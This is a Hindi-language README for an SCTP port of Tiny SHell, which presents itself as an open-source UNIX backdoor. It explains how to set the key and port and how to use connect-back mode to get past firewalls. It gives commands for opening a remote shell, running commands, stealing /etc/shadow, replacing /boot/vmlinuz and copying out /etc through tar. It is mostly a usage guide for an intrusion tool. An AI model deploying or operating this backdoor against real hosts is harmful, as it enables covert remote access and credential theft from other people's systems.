
TinySHell का SCTP पोर्ट
Tiny SHell - एक ओपन-सोर्स UNIX बैकडोर
* Tiny SHell को कंपाइल करने से पहले
1. सबसे पहले, आपको अपनी गुप्त कुंजी सेटअप करनी चाहिए, जो
tsh.h में स्थित है; कुंजी किसी भी लंबाई की हो सकती है (बेहतर
सुरक्षा के लिए कम से कम 12 अक्षरों का उपयोग करें)।
2. SERVER_PORT को बदलने की सलाह दी जाती है, वह पोर्ट जिस पर
सर्वर आने वाले कनेक्शनों को सुन रहा होगा।
3. यदि tshd किसी फ़ायरवॉल वाली मशीन पर चलता है, तो आप इसे
"कनेक्ट-बैक" मोड में शुरू कर सकते हैं; बस tsh.h में
CONNECT_BACK_HOST को अनकमेंट और संशोधित करें।
* Tiny SHell को कंपाइल करना
"make <system>" चलाएँ, जहाँ <system> इनमें से कोई भी हो सकता है:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* सर्वर का उपयोग कैसे करें
$HOME और फ़ाइल निर्माण मास्क सेट करना उपयोगी हो सकता है
सर्वर शुरू करने से पहले:
% umask 077; HOME=/var/tmp ./tshd
* क्लाइंट का उपयोग कैसे करें
सुनिश्चित करें कि tshd रिमोट होस्ट पर चल रहा है। आप यह कर सकते हैं:
- एक शेल शुरू करें:
./tsh <hostname>
- एक कमांड निष्पादित करें:
./tsh <hostname> "uname -a"
- फ़ाइलें स्थानांतरित करें:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
नोट: यदि सर्वर कनेक्ट-बैक मोड में चलता है, तो
रिमोट मशीन के होस्टनाम को "cb" से बदलें।
* एकाधिक फ़ाइल स्थानांतरण के बारे में
इस समय, Tiny SHell scp की तरह एकाधिक
और/या पुनरावर्ती फ़ाइल स्थानांतरण का समर्थन नहीं करता है। आप इस बग के
आसपास काम कर सकते हैं बस एक tar आर्काइव बनाकर और उसे स्थानांतरित करके। उदाहरण:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* टर्मिनल मोड के बारे में
कुछ ब्रेन-डेड सिस्टम (वास्तव में, IRIX और HP-UX) पर, Ctrl-C
और अन्य नियंत्रण कुंजियाँ सही ढंग से काम नहीं करती हैं। इसे ठीक करें:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* सुरक्षा के बारे में
कृपया याद रखें कि गुप्त कुंजी tsh और tshd दोनों
निष्पादनयोग्य फ़ाइलों के अंदर स्पष्ट रूप में संग्रहीत होती है; इसलिए आपको यह
सुनिश्चित करना चाहिए कि आपके अलावा किसी और के पास इन दो फ़ाइलों तक पढ़ने की
पहुंच न हो। हालांकि, आप क्लाइंट में वास्तविक (मान्य) कुंजी को
संग्रहीत नहीं करना चुन सकते हैं, जो तब शुरू होने पर एक पासवर्ड मांगेगा।
* SCTP संस्करण के संबंध में नोट्स:
अब तक केवल Archlinux पर परीक्षण किया गया है, उम्मीद करें कि यह किसी और
चीज़ पर बुरी तरह विफल होगा।
यह एक काफी बदसूरत हैक है, कुछ कंपाइलिंग त्रुटियाँ हैं जिन्हें मैं अंततः
ट्रैक करके ठीक करने की योजना बना रहा हूँ।
बैकडोर फ़ाइल (tsh) की सुरक्षा - यानी पासवर्ड का क्लियरटेक्स्ट में होना
जल्द ही ठीक किया जाएगा केवल हैशेड पासवर्ड संग्रहीत करके।
hpux, *bsd, आदि पर परीक्षण जब मेरे पास ऐसे बॉक्स तक पहुँच होगी।